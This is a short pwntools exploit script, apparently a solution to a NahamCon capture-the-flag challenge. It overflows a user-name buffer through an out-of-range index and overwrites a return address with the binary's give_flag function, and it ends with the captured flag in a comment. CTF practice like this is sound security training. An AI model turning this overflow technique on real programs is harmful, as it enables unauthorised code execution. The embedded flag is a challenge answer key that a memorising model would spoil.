#!/usr/bin/python3

from pwn import *

io = process("./chall")
#io = remote("challenge.nahamcon.com", 31980)
elf = ELF("./chall")

def menu():
        for _ in range(7):
                io.recvline()

def print_users():
        menu()
        io.sendlineafter("> ", str(1))

def add_users():
        for i in range(0, 18):
                menu()
                io.sendlineafter("> ",str(2))
                io.sendlineafter("Enter the user's name: ", "A"*8)
                log.info(io.recvline())

def change_name(idx, payload):
        menu()
        io.sendlineafter("> ", str(4))
        io.sendlineafter("What is the number for the user whose name you want to change? ", str(idx))
        io.sendlineafter("What is the new user's name? ", payload)


def exit():
        menu()
        io.sendlineafter("> ", str(5))

def main():
        io.sendlineafter("Enter your name: ", "A"*16)
        add_users()
        print_users()
        payload = b"A"*40
        payload += p64(elf.sym.give_flag)
        change_name(18, payload) # This used to edit users and overflow 
        exit()
        io.interactive()

if __name__ == "__main__":
        main()

 # flag{0eb219803dbfcda8620dae0772ae2d72}
